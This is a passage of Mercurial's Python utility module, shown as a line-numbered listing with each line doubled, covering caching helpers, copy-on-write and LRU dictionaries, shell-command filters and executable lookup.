550 '%b %d %Y',
551 '%b %d',
551 '%b %d',
552 '%H:%M:%S',
552 '%H:%M:%S',
553 '%I:%M:%S%p',
553 '%I:%M:%S%p',
554 '%H:%M',
554 '%H:%M',
555 '%I:%M%p',
555 '%I:%M%p',
556 )
556 )
557
557
558 extendeddateformats = defaultdateformats + (
558 extendeddateformats = defaultdateformats + (
559 "%Y",
559 "%Y",
560 "%Y-%m",
560 "%Y-%m",
561 "%b",
561 "%b",
562 "%b %Y",
562 "%b %Y",
563 )
563 )
564
564
565 def cachefunc(func):
565 def cachefunc(func):
566 '''cache the result of function calls'''
566 '''cache the result of function calls'''
567 # XXX doesn't handle keywords args
567 # XXX doesn't handle keywords args
568 if func.__code__.co_argcount == 0:
568 if func.__code__.co_argcount == 0:
569 cache = []
569 cache = []
570 def f():
570 def f():
571 if len(cache) == 0:
571 if len(cache) == 0:
572 cache.append(func())
572 cache.append(func())
573 return cache[0]
573 return cache[0]
574 return f
574 return f
575 cache = {}
575 cache = {}
576 if func.__code__.co_argcount == 1:
576 if func.__code__.co_argcount == 1:
577 # we gain a small amount of time because
577 # we gain a small amount of time because
578 # we don't need to pack/unpack the list
578 # we don't need to pack/unpack the list
579 def f(arg):
579 def f(arg):
580 if arg not in cache:
580 if arg not in cache:
581 cache[arg] = func(arg)
581 cache[arg] = func(arg)
582 return cache[arg]
582 return cache[arg]
583 else:
583 else:
584 def f(*args):
584 def f(*args):
585 if args not in cache:
585 if args not in cache:
586 cache[args] = func(*args)
586 cache[args] = func(*args)
587 return cache[args]
587 return cache[args]
588
588
589 return f
589 return f
590
590
591 class cow(object):
591 class cow(object):
592 """helper class to make copy-on-write easier
592 """helper class to make copy-on-write easier
593
593
594 Call preparewrite before doing any writes.
594 Call preparewrite before doing any writes.
595 """
595 """
596
596
597 def preparewrite(self):
597 def preparewrite(self):
598 """call this before writes, return self or a copied new object"""
598 """call this before writes, return self or a copied new object"""
599 if getattr(self, '_copied', 0):
599 if getattr(self, '_copied', 0):
600 self._copied -= 1
600 self._copied -= 1
601 return self.__class__(self)
601 return self.__class__(self)
602 return self
602 return self
603
603
604 def copy(self):
604 def copy(self):
605 """always do a cheap copy"""
605 """always do a cheap copy"""
606 self._copied = getattr(self, '_copied', 0) + 1
606 self._copied = getattr(self, '_copied', 0) + 1
607 return self
607 return self
608
608
609 class sortdict(collections.OrderedDict):
609 class sortdict(collections.OrderedDict):
610 '''a simple sorted dictionary
610 '''a simple sorted dictionary
611
611
612 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
612 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
613 >>> d2 = d1.copy()
613 >>> d2 = d1.copy()
614 >>> d2
614 >>> d2
615 sortdict([('a', 0), ('b', 1)])
615 sortdict([('a', 0), ('b', 1)])
616 >>> d2.update([(b'a', 2)])
616 >>> d2.update([(b'a', 2)])
617 >>> list(d2.keys()) # should still be in last-set order
617 >>> list(d2.keys()) # should still be in last-set order
618 ['b', 'a']
618 ['b', 'a']
619 '''
619 '''
620
620
621 def __setitem__(self, key, value):
621 def __setitem__(self, key, value):
622 if key in self:
622 if key in self:
623 del self[key]
623 del self[key]
624 super(sortdict, self).__setitem__(key, value)
624 super(sortdict, self).__setitem__(key, value)
625
625
626 if pycompat.ispypy:
626 if pycompat.ispypy:
627 # __setitem__() isn't called as of PyPy 5.8.0
627 # __setitem__() isn't called as of PyPy 5.8.0
628 def update(self, src):
628 def update(self, src):
629 if isinstance(src, dict):
629 if isinstance(src, dict):
630 src = src.iteritems()
630 src = src.iteritems()
631 for k, v in src:
631 for k, v in src:
632 self[k] = v
632 self[k] = v
633
633
634 class cowdict(cow, dict):
634 class cowdict(cow, dict):
635 """copy-on-write dict
635 """copy-on-write dict
636
636
637 Be sure to call d = d.preparewrite() before writing to d.
637 Be sure to call d = d.preparewrite() before writing to d.
638
638
639 >>> a = cowdict()
639 >>> a = cowdict()
640 >>> a is a.preparewrite()
640 >>> a is a.preparewrite()
641 True
641 True
642 >>> b = a.copy()
642 >>> b = a.copy()
643 >>> b is a
643 >>> b is a
644 True
644 True
645 >>> c = b.copy()
645 >>> c = b.copy()
646 >>> c is a
646 >>> c is a
647 True
647 True
648 >>> a = a.preparewrite()
648 >>> a = a.preparewrite()
649 >>> b is a
649 >>> b is a
650 False
650 False
651 >>> a is a.preparewrite()
651 >>> a is a.preparewrite()
652 True
652 True
653 >>> c = c.preparewrite()
653 >>> c = c.preparewrite()
654 >>> b is c
654 >>> b is c
655 False
655 False
656 >>> b is b.preparewrite()
656 >>> b is b.preparewrite()
657 True
657 True
658 """
658 """
659
659
660 class cowsortdict(cow, sortdict):
660 class cowsortdict(cow, sortdict):
661 """copy-on-write sortdict
661 """copy-on-write sortdict
662
662
663 Be sure to call d = d.preparewrite() before writing to d.
663 Be sure to call d = d.preparewrite() before writing to d.
664 """
664 """
665
665
666 class transactional(object):
666 class transactional(object):
667 """Base class for making a transactional type into a context manager."""
667 """Base class for making a transactional type into a context manager."""
668 __metaclass__ = abc.ABCMeta
668 __metaclass__ = abc.ABCMeta
669
669
670 @abc.abstractmethod
670 @abc.abstractmethod
671 def close(self):
671 def close(self):
672 """Successfully closes the transaction."""
672 """Successfully closes the transaction."""
673
673
674 @abc.abstractmethod
674 @abc.abstractmethod
675 def release(self):
675 def release(self):
676 """Marks the end of the transaction.
676 """Marks the end of the transaction.
677
677
678 If the transaction has not been closed, it will be aborted.
678 If the transaction has not been closed, it will be aborted.
679 """
679 """
680
680
681 def __enter__(self):
681 def __enter__(self):
682 return self
682 return self
683
683
684 def __exit__(self, exc_type, exc_val, exc_tb):
684 def __exit__(self, exc_type, exc_val, exc_tb):
685 try:
685 try:
686 if exc_type is None:
686 if exc_type is None:
687 self.close()
687 self.close()
688 finally:
688 finally:
689 self.release()
689 self.release()
690
690
691 @contextlib.contextmanager
691 @contextlib.contextmanager
692 def acceptintervention(tr=None):
692 def acceptintervention(tr=None):
693 """A context manager that closes the transaction on InterventionRequired
693 """A context manager that closes the transaction on InterventionRequired
694
694
695 If no transaction was provided, this simply runs the body and returns
695 If no transaction was provided, this simply runs the body and returns
696 """
696 """
697 if not tr:
697 if not tr:
698 yield
698 yield
699 return
699 return
700 try:
700 try:
701 yield
701 yield
702 tr.close()
702 tr.close()
703 except error.InterventionRequired:
703 except error.InterventionRequired:
704 tr.close()
704 tr.close()
705 raise
705 raise
706 finally:
706 finally:
707 tr.release()
707 tr.release()
708
708
709 @contextlib.contextmanager
709 @contextlib.contextmanager
710 def nullcontextmanager():
710 def nullcontextmanager():
711 yield
711 yield
712
712
713 class _lrucachenode(object):
713 class _lrucachenode(object):
714 """A node in a doubly linked list.
714 """A node in a doubly linked list.
715
715
716 Holds a reference to nodes on either side as well as a key-value
716 Holds a reference to nodes on either side as well as a key-value
717 pair for the dictionary entry.
717 pair for the dictionary entry.
718 """
718 """
719 __slots__ = (u'next', u'prev', u'key', u'value')
719 __slots__ = (u'next', u'prev', u'key', u'value')
720
720
721 def __init__(self):
721 def __init__(self):
722 self.next = None
722 self.next = None
723 self.prev = None
723 self.prev = None
724
724
725 self.key = _notset
725 self.key = _notset
726 self.value = None
726 self.value = None
727
727
728 def markempty(self):
728 def markempty(self):
729 """Mark the node as emptied."""
729 """Mark the node as emptied."""
730 self.key = _notset
730 self.key = _notset
731
731
732 class lrucachedict(object):
732 class lrucachedict(object):
733 """Dict that caches most recent accesses and sets.
733 """Dict that caches most recent accesses and sets.
734
734
735 The dict consists of an actual backing dict - indexed by original
735 The dict consists of an actual backing dict - indexed by original
736 key - and a doubly linked circular list defining the order of entries in
736 key - and a doubly linked circular list defining the order of entries in
737 the cache.
737 the cache.
738
738
739 The head node is the newest entry in the cache. If the cache is full,
739 The head node is the newest entry in the cache. If the cache is full,
740 we recycle head.prev and make it the new head. Cache accesses result in
740 we recycle head.prev and make it the new head. Cache accesses result in
741 the node being moved to before the existing head and being marked as the
741 the node being moved to before the existing head and being marked as the
742 new head node.
742 new head node.
743 """
743 """
744 def __init__(self, max):
744 def __init__(self, max):
745 self._cache = {}
745 self._cache = {}
746
746
747 self._head = head = _lrucachenode()
747 self._head = head = _lrucachenode()
748 head.prev = head
748 head.prev = head
749 head.next = head
749 head.next = head
750 self._size = 1
750 self._size = 1
751 self._capacity = max
751 self._capacity = max
752
752
753 def __len__(self):
753 def __len__(self):
754 return len(self._cache)
754 return len(self._cache)
755
755
756 def __contains__(self, k):
756 def __contains__(self, k):
757 return k in self._cache
757 return k in self._cache
758
758
759 def __iter__(self):
759 def __iter__(self):
760 # We don't have to iterate in cache order, but why not.
760 # We don't have to iterate in cache order, but why not.
761 n = self._head
761 n = self._head
762 for i in range(len(self._cache)):
762 for i in range(len(self._cache)):
763 yield n.key
763 yield n.key
764 n = n.next
764 n = n.next
765
765
766 def __getitem__(self, k):
766 def __getitem__(self, k):
767 node = self._cache[k]
767 node = self._cache[k]
768 self._movetohead(node)
768 self._movetohead(node)
769 return node.value
769 return node.value
770
770
771 def __setitem__(self, k, v):
771 def __setitem__(self, k, v):
772 node = self._cache.get(k)
772 node = self._cache.get(k)
773 # Replace existing value and mark as newest.
773 # Replace existing value and mark as newest.
774 if node is not None:
774 if node is not None:
775 node.value = v
775 node.value = v
776 self._movetohead(node)
776 self._movetohead(node)
777 return
777 return
778
778
779 if self._size < self._capacity:
779 if self._size < self._capacity:
780 node = self._addcapacity()
780 node = self._addcapacity()
781 else:
781 else:
782 # Grab the last/oldest item.
782 # Grab the last/oldest item.
783 node = self._head.prev
783 node = self._head.prev
784
784
785 # At capacity. Kill the old entry.
785 # At capacity. Kill the old entry.
786 if node.key is not _notset:
786 if node.key is not _notset:
787 del self._cache[node.key]
787 del self._cache[node.key]
788
788
789 node.key = k
789 node.key = k
790 node.value = v
790 node.value = v
791 self._cache[k] = node
791 self._cache[k] = node
792 # And mark it as newest entry. No need to adjust order since it
792 # And mark it as newest entry. No need to adjust order since it
793 # is already self._head.prev.
793 # is already self._head.prev.
794 self._head = node
794 self._head = node
795
795
796 def __delitem__(self, k):
796 def __delitem__(self, k):
797 node = self._cache.pop(k)
797 node = self._cache.pop(k)
798 node.markempty()
798 node.markempty()
799
799
800 # Temporarily mark as newest item before re-adjusting head to make
800 # Temporarily mark as newest item before re-adjusting head to make
801 # this node the oldest item.
801 # this node the oldest item.
802 self._movetohead(node)
802 self._movetohead(node)
803 self._head = node.next
803 self._head = node.next
804
804
805 # Additional dict methods.
805 # Additional dict methods.
806
806
807 def get(self, k, default=None):
807 def get(self, k, default=None):
808 try:
808 try:
809 return self._cache[k].value
809 return self._cache[k].value
810 except KeyError:
810 except KeyError:
811 return default
811 return default
812
812
813 def clear(self):
813 def clear(self):
814 n = self._head
814 n = self._head
815 while n.key is not _notset:
815 while n.key is not _notset:
816 n.markempty()
816 n.markempty()
817 n = n.next
817 n = n.next
818
818
819 self._cache.clear()
819 self._cache.clear()
820
820
821 def copy(self):
821 def copy(self):
822 result = lrucachedict(self._capacity)
822 result = lrucachedict(self._capacity)
823 n = self._head.prev
823 n = self._head.prev
824 # Iterate in oldest-to-newest order, so the copy has the right ordering
824 # Iterate in oldest-to-newest order, so the copy has the right ordering
825 for i in range(len(self._cache)):
825 for i in range(len(self._cache)):
826 result[n.key] = n.value
826 result[n.key] = n.value
827 n = n.prev
827 n = n.prev
828 return result
828 return result
829
829
830 def _movetohead(self, node):
830 def _movetohead(self, node):
831 """Mark a node as the newest, making it the new head.
831 """Mark a node as the newest, making it the new head.
832
832
833 When a node is accessed, it becomes the freshest entry in the LRU
833 When a node is accessed, it becomes the freshest entry in the LRU
834 list, which is denoted by self._head.
834 list, which is denoted by self._head.
835
835
836 Visually, let's make ``N`` the new head node (* denotes head):
836 Visually, let's make ``N`` the new head node (* denotes head):
837
837
838 previous/oldest <-> head <-> next/next newest
838 previous/oldest <-> head <-> next/next newest
839
839
840 ----<->--- A* ---<->-----
840 ----<->--- A* ---<->-----
841 | |
841 | |
842 E <-> D <-> N <-> C <-> B
842 E <-> D <-> N <-> C <-> B
843
843
844 To:
844 To:
845
845
846 ----<->--- N* ---<->-----
846 ----<->--- N* ---<->-----
847 | |
847 | |
848 E <-> D <-> C <-> B <-> A
848 E <-> D <-> C <-> B <-> A
849
849
850 This requires the following moves:
850 This requires the following moves:
851
851
852 C.next = D (node.prev.next = node.next)
852 C.next = D (node.prev.next = node.next)
853 D.prev = C (node.next.prev = node.prev)
853 D.prev = C (node.next.prev = node.prev)
854 E.next = N (head.prev.next = node)
854 E.next = N (head.prev.next = node)
855 N.prev = E (node.prev = head.prev)
855 N.prev = E (node.prev = head.prev)
856 N.next = A (node.next = head)
856 N.next = A (node.next = head)
857 A.prev = N (head.prev = node)
857 A.prev = N (head.prev = node)
858 """
858 """
859 head = self._head
859 head = self._head
860 # C.next = D
860 # C.next = D
861 node.prev.next = node.next
861 node.prev.next = node.next
862 # D.prev = C
862 # D.prev = C
863 node.next.prev = node.prev
863 node.next.prev = node.prev
864 # N.prev = E
864 # N.prev = E
865 node.prev = head.prev
865 node.prev = head.prev
866 # N.next = A
866 # N.next = A
867 # It is tempting to do just "head" here, however if node is
867 # It is tempting to do just "head" here, however if node is
868 # adjacent to head, this will do bad things.
868 # adjacent to head, this will do bad things.
869 node.next = head.prev.next
869 node.next = head.prev.next
870 # E.next = N
870 # E.next = N
871 node.next.prev = node
871 node.next.prev = node
872 # A.prev = N
872 # A.prev = N
873 node.prev.next = node
873 node.prev.next = node
874
874
875 self._head = node
875 self._head = node
876
876
877 def _addcapacity(self):
877 def _addcapacity(self):
878 """Add a node to the circular linked list.
878 """Add a node to the circular linked list.
879
879
880 The new node is inserted before the head node.
880 The new node is inserted before the head node.
881 """
881 """
882 head = self._head
882 head = self._head
883 node = _lrucachenode()
883 node = _lrucachenode()
884 head.prev.next = node
884 head.prev.next = node
885 node.prev = head.prev
885 node.prev = head.prev
886 node.next = head
886 node.next = head
887 head.prev = node
887 head.prev = node
888 self._size += 1
888 self._size += 1
889 return node
889 return node
890
890
891 def lrucachefunc(func):
891 def lrucachefunc(func):
892 '''cache most recent results of function calls'''
892 '''cache most recent results of function calls'''
893 cache = {}
893 cache = {}
894 order = collections.deque()
894 order = collections.deque()
895 if func.__code__.co_argcount == 1:
895 if func.__code__.co_argcount == 1:
896 def f(arg):
896 def f(arg):
897 if arg not in cache:
897 if arg not in cache:
898 if len(cache) > 20:
898 if len(cache) > 20:
899 del cache[order.popleft()]
899 del cache[order.popleft()]
900 cache[arg] = func(arg)
900 cache[arg] = func(arg)
901 else:
901 else:
902 order.remove(arg)
902 order.remove(arg)
903 order.append(arg)
903 order.append(arg)
904 return cache[arg]
904 return cache[arg]
905 else:
905 else:
906 def f(*args):
906 def f(*args):
907 if args not in cache:
907 if args not in cache:
908 if len(cache) > 20:
908 if len(cache) > 20:
909 del cache[order.popleft()]
909 del cache[order.popleft()]
910 cache[args] = func(*args)
910 cache[args] = func(*args)
911 else:
911 else:
912 order.remove(args)
912 order.remove(args)
913 order.append(args)
913 order.append(args)
914 return cache[args]
914 return cache[args]
915
915
916 return f
916 return f
917
917
918 class propertycache(object):
918 class propertycache(object):
919 def __init__(self, func):
919 def __init__(self, func):
920 self.func = func
920 self.func = func
921 self.name = func.__name__
921 self.name = func.__name__
922 def __get__(self, obj, type=None):
922 def __get__(self, obj, type=None):
923 result = self.func(obj)
923 result = self.func(obj)
924 self.cachevalue(obj, result)
924 self.cachevalue(obj, result)
925 return result
925 return result
926
926
927 def cachevalue(self, obj, value):
927 def cachevalue(self, obj, value):
928 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
928 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
929 obj.__dict__[self.name] = value
929 obj.__dict__[self.name] = value
930
930
931 def pipefilter(s, cmd):
931 def pipefilter(s, cmd):
932 '''filter string S through command CMD, returning its output'''
932 '''filter string S through command CMD, returning its output'''
933 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
933 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
934 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
934 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
935 pout, perr = p.communicate(s)
935 pout, perr = p.communicate(s)
936 return pout
936 return pout
937
937
938 def tempfilter(s, cmd):
938 def tempfilter(s, cmd):
939 '''filter string S through a pair of temporary files with CMD.
939 '''filter string S through a pair of temporary files with CMD.
940 CMD is used as a template to create the real command to be run,
940 CMD is used as a template to create the real command to be run,
941 with the strings INFILE and OUTFILE replaced by the real names of
941 with the strings INFILE and OUTFILE replaced by the real names of
942 the temporary files generated.'''
942 the temporary files generated.'''
943 inname, outname = None, None
943 inname, outname = None, None
944 try:
944 try:
945 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
945 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
946 fp = os.fdopen(infd, pycompat.sysstr('wb'))
946 fp = os.fdopen(infd, pycompat.sysstr('wb'))
947 fp.write(s)
947 fp.write(s)
948 fp.close()
948 fp.close()
949 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
949 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
950 os.close(outfd)
950 os.close(outfd)
951 cmd = cmd.replace('INFILE', inname)
951 cmd = cmd.replace('INFILE', inname)
952 cmd = cmd.replace('OUTFILE', outname)
952 cmd = cmd.replace('OUTFILE', outname)
953 code = os.system(cmd)
953 code = os.system(cmd)
954 if pycompat.sysplatform == 'OpenVMS' and code & 1:
954 if pycompat.sysplatform == 'OpenVMS' and code & 1:
955 code = 0
955 code = 0
956 if code:
956 if code:
957 raise Abort(_("command '%s' failed: %s") %
957 raise Abort(_("command '%s' failed: %s") %
958 (cmd, explainexit(code)))
958 (cmd, explainexit(code)))
959 return readfile(outname)
959 return readfile(outname)
960 finally:
960 finally:
961 try:
961 try:
962 if inname:
962 if inname:
963 os.unlink(inname)
963 os.unlink(inname)
964 except OSError:
964 except OSError:
965 pass
965 pass
966 try:
966 try:
967 if outname:
967 if outname:
968 os.unlink(outname)
968 os.unlink(outname)
969 except OSError:
969 except OSError:
970 pass
970 pass
971
971
972 filtertable = {
972 filtertable = {
973 'tempfile:': tempfilter,
973 'tempfile:': tempfilter,
974 'pipe:': pipefilter,
974 'pipe:': pipefilter,
975 }
975 }
976
976
977 def filter(s, cmd):
977 def filter(s, cmd):
978 "filter a string through a command that transforms its input to its output"
978 "filter a string through a command that transforms its input to its output"
979 for name, fn in filtertable.iteritems():
979 for name, fn in filtertable.iteritems():
980 if cmd.startswith(name):
980 if cmd.startswith(name):
981 return fn(s, cmd[len(name):].lstrip())
981 return fn(s, cmd[len(name):].lstrip())
982 return pipefilter(s, cmd)
982 return pipefilter(s, cmd)
983
983
984 def binary(s):
984 def binary(s):
985 """return true if a string is binary data"""
985 """return true if a string is binary data"""
986 return bool(s and '\0' in s)
986 return bool(s and '\0' in s)
987
987
988 def increasingchunks(source, min=1024, max=65536):
988 def increasingchunks(source, min=1024, max=65536):
989 '''return no less than min bytes per chunk while data remains,
989 '''return no less than min bytes per chunk while data remains,
990 doubling min after each chunk until it reaches max'''
990 doubling min after each chunk until it reaches max'''
991 def log2(x):
991 def log2(x):
992 if not x:
992 if not x:
993 return 0
993 return 0
994 i = 0
994 i = 0
995 while x:
995 while x:
996 x >>= 1
996 x >>= 1
997 i += 1
997 i += 1
998 return i - 1
998 return i - 1
999
999
1000 buf = []
1000 buf = []
1001 blen = 0
1001 blen = 0
1002 for chunk in source:
1002 for chunk in source:
1003 buf.append(chunk)
1003 buf.append(chunk)
1004 blen += len(chunk)
1004 blen += len(chunk)
1005 if blen >= min:
1005 if blen >= min:
1006 if min < max:
1006 if min < max:
1007 min = min << 1
1007 min = min << 1
1008 nmin = 1 << log2(blen)
1008 nmin = 1 << log2(blen)
1009 if nmin > min:
1009 if nmin > min:
1010 min = nmin
1010 min = nmin
1011 if min > max:
1011 if min > max:
1012 min = max
1012 min = max
1013 yield ''.join(buf)
1013 yield ''.join(buf)
1014 blen = 0
1014 blen = 0
1015 buf = []
1015 buf = []
1016 if buf:
1016 if buf:
1017 yield ''.join(buf)
1017 yield ''.join(buf)
1018
1018
1019 Abort = error.Abort
1019 Abort = error.Abort
1020
1020
1021 def always(fn):
1021 def always(fn):
1022 return True
1022 return True
1023
1023
1024 def never(fn):
1024 def never(fn):
1025 return False
1025 return False
1026
1026
1027 def nogc(func):
1027 def nogc(func):
1028 """disable garbage collector
1028 """disable garbage collector
1029
1029
1030 Python's garbage collector triggers a GC each time a certain number of
1030 Python's garbage collector triggers a GC each time a certain number of
1031 container objects (the number being defined by gc.get_threshold()) are
1031 container objects (the number being defined by gc.get_threshold()) are
1032 allocated even when marked not to be tracked by the collector. Tracking has
1032 allocated even when marked not to be tracked by the collector. Tracking has
1033 no effect on when GCs are triggered, only on what objects the GC looks
1033 no effect on when GCs are triggered, only on what objects the GC looks
1034 into. As a workaround, disable GC while building complex (huge)
1034 into. As a workaround, disable GC while building complex (huge)
1035 containers.
1035 containers.
1036
1036
1037 This garbage collector issue have been fixed in 2.7. But it still affect
1037 This garbage collector issue have been fixed in 2.7. But it still affect
1038 CPython's performance.
1038 CPython's performance.
1039 """
1039 """
1040 def wrapper(*args, **kwargs):
1040 def wrapper(*args, **kwargs):
1041 gcenabled = gc.isenabled()
1041 gcenabled = gc.isenabled()
1042 gc.disable()
1042 gc.disable()
1043 try:
1043 try:
1044 return func(*args, **kwargs)
1044 return func(*args, **kwargs)
1045 finally:
1045 finally:
1046 if gcenabled:
1046 if gcenabled:
1047 gc.enable()
1047 gc.enable()
1048 return wrapper
1048 return wrapper
1049
1049
1050 if pycompat.ispypy:
1050 if pycompat.ispypy:
1051 # PyPy runs slower with gc disabled
1051 # PyPy runs slower with gc disabled
1052 nogc = lambda x: x
1052 nogc = lambda x: x
1053
1053
1054 def pathto(root, n1, n2):
1054 def pathto(root, n1, n2):
1055 '''return the relative path from one place to another.
1055 '''return the relative path from one place to another.
1056 root should use os.sep to separate directories
1056 root should use os.sep to separate directories
1057 n1 should use os.sep to separate directories
1057 n1 should use os.sep to separate directories
1058 n2 should use "/" to separate directories
1058 n2 should use "/" to separate directories
1059 returns an os.sep-separated path.
1059 returns an os.sep-separated path.
1060
1060
1061 If n1 is a relative path, it's assumed it's
1061 If n1 is a relative path, it's assumed it's
1062 relative to root.
1062 relative to root.
1063 n2 should always be relative to root.
1063 n2 should always be relative to root.
1064 '''
1064 '''
1065 if not n1:
1065 if not n1:
1066 return localpath(n2)
1066 return localpath(n2)
1067 if os.path.isabs(n1):
1067 if os.path.isabs(n1):
1068 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1068 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1069 return os.path.join(root, localpath(n2))
1069 return os.path.join(root, localpath(n2))
1070 n2 = '/'.join((pconvert(root), n2))
1070 n2 = '/'.join((pconvert(root), n2))
1071 a, b = splitpath(n1), n2.split('/')
1071 a, b = splitpath(n1), n2.split('/')
1072 a.reverse()
1072 a.reverse()
1073 b.reverse()
1073 b.reverse()
1074 while a and b and a[-1] == b[-1]:
1074 while a and b and a[-1] == b[-1]:
1075 a.pop()
1075 a.pop()
1076 b.pop()
1076 b.pop()
1077 b.reverse()
1077 b.reverse()
1078 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1078 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1079
1079
1080 def mainfrozen():
1080 def mainfrozen():
1081 """return True if we are a frozen executable.
1081 """return True if we are a frozen executable.
1082
1082
1083 The code supports py2exe (most common, Windows only) and tools/freeze
1083 The code supports py2exe (most common, Windows only) and tools/freeze
1084 (portable, not much used).
1084 (portable, not much used).
1085 """
1085 """
1086 return (safehasattr(sys, "frozen") or # new py2exe
1086 return (safehasattr(sys, "frozen") or # new py2exe
1087 safehasattr(sys, "importers") or # old py2exe
1087 safehasattr(sys, "importers") or # old py2exe
1088 imp.is_frozen(u"__main__")) # tools/freeze
1088 imp.is_frozen(u"__main__")) # tools/freeze
1089
1089
1090 # the location of data files matching the source code
1090 # the location of data files matching the source code
1091 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1091 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1092 # executable version (py2exe) doesn't support __file__
1092 # executable version (py2exe) doesn't support __file__
1093 datapath = os.path.dirname(pycompat.sysexecutable)
1093 datapath = os.path.dirname(pycompat.sysexecutable)
1094 else:
1094 else:
1095 datapath = os.path.dirname(pycompat.fsencode(__file__))
1095 datapath = os.path.dirname(pycompat.fsencode(__file__))
1096
1096
1097 i18n.setdatapath(datapath)
1097 i18n.setdatapath(datapath)
1098
1098
1099 _hgexecutable = None
1099 _hgexecutable = None
1100
1100
1101 def hgexecutable():
1101 def hgexecutable():
1102 """return location of the 'hg' executable.
1102 """return location of the 'hg' executable.
1103
1103
1104 Defaults to $HG or 'hg' in the search path.
1104 Defaults to $HG or 'hg' in the search path.
1105 """
1105 """
1106 if _hgexecutable is None:
1106 if _hgexecutable is None:
1107 hg = encoding.environ.get('HG')
1107 hg = encoding.environ.get('HG')
1108 mainmod = sys.modules[pycompat.sysstr('__main__')]
1108 mainmod = sys.modules[pycompat.sysstr('__main__')]
1109 if hg:
1109 if hg:
1110 _sethgexecutable(hg)
1110 _sethgexecutable(hg)
1111 elif mainfrozen():
1111 elif mainfrozen():
1112 if getattr(sys, 'frozen', None) == 'macosx_app':
1112 if getattr(sys, 'frozen', None) == 'macosx_app':
1113 # Env variable set by py2app
1113 # Env variable set by py2app
1114 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1114 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1115 else:
1115 else:
1116 _sethgexecutable(pycompat.sysexecutable)
1116 _sethgexecutable(pycompat.sysexecutable)
1117 elif (os.path.basename(
1117 elif (os.path.basename(
1118 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1118 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1119 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1119 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1120 else:
1120 else:
1121 exe = findexe('hg') or os.path.basename(sys.argv[0])
1121 exe = findexe('hg') or os.path.basename(sys.argv[0])
1122 _sethgexecutable(exe)
1122 _sethgexecutable(exe)
1123 return _hgexecutable
1123 return _hgexecutable
1124
1124
1125 def _sethgexecutable(path):
1125 def _sethgexecutable(path):
1126 """set location of the 'hg' executable"""
1126 """set location of the 'hg' executable"""
1127 global _hgexecutable
1127 global _hgexecutable
1128 _hgexecutable = path
1128 _hgexecutable = path
1129
1129
1130 def _isstdout(f):
1130 def _isstdout(f):
1131 fileno = getattr(f, 'fileno', None)
1131 fileno = getattr(f, 'fileno', None)
1132 return fileno and fileno() == sys.__stdout__.fileno()
1132 return fileno and fileno() == sys.__stdout__.fileno()
1133
1133
1134 def shellenviron(environ=None):
1134 def shellenviron(environ=None):
1135 """return environ with optional override, useful for shelling out"""
1135 """return environ with optional override, useful for shelling out"""
1136 def py2shell(val):
1136 def py2shell(val):
1137 'convert python object into string that is useful to shell'
1137 'convert python object into string that is useful to shell'
1138 if val is None or val is False:
1138 if val is None or val is False:
1139 return '0'
1139 return '0'
1140 if val is True:
1140 if val is True:
1141 return '1'
1141 return '1'
1142 return str(val)
1142 return str(val)
1143 env = dict(encoding.environ)
1143 env = dict(encoding.environ)
1144 if environ:
1144 if environ:
1145 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1145 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1146 env['HG'] = hgexecutable()
1146 env['HG'] = hgexecutable()
1147 return env
1147 return env
1148
1148
1149 def system(cmd, environ=None, cwd=None, out=None):
1149 def system(cmd, environ=None, cwd=None, out=None):
1150 '''enhanced shell command execution.
1150 '''enhanced shell command execution.
1151 run with environment maybe modified, maybe in different dir.
1151 run with environment maybe modified, maybe in different dir.
1152
1152
1153 if out is specified, it is assumed to be a file-like object that has a
1153 if out is specified, it is assumed to be a file-like object that has a
1154 write() method. stdout and stderr will be redirected to out.'''
1154 write() method. stdout and stderr will be redirected to out.'''
1155 try:
1155 try:
1156 stdout.flush()
1156 stdout.flush()
1157 except Exception:
1157 except Exception:
1158 pass
1158 pass
1159 cmd = quotecommand(cmd)
1159 cmd = quotecommand(cmd)
1160 env = shellenviron(environ)
1160 env = shellenviron(environ)
1161 if out is None or _isstdout(out):
1161 if out is None or _isstdout(out):
1162 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1162 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1163 env=env, cwd=cwd)
1163 env=env, cwd=cwd)
1164 else:
1164 else:
1165 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1165 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1166 env=env, cwd=cwd, stdout=subprocess.PIPE,
1166 env=env, cwd=cwd, stdout=subprocess.PIPE,
1167 stderr=subprocess.STDOUT)
1167 stderr=subprocess.STDOUT)
1168 for line in iter(proc.stdout.readline, ''):
1168 for line in iter(proc.stdout.readline, ''):
1169 out.write(line)
1169 out.write(line)
1170 proc.wait()
1170 proc.wait()
1171 rc = proc.returncode
1171 rc = proc.returncode
1172 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1172 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1173 rc = 0
1173 rc = 0
1174 return rc
1174 return rc
1175
1175
1176 def checksignature(func):
1176 def checksignature(func):
1177 '''wrap a function with code to check for calling errors'''
1177 '''wrap a function with code to check for calling errors'''
1178 def check(*args, **kwargs):
1178 def check(*args, **kwargs):
1179 try:
1179 try:
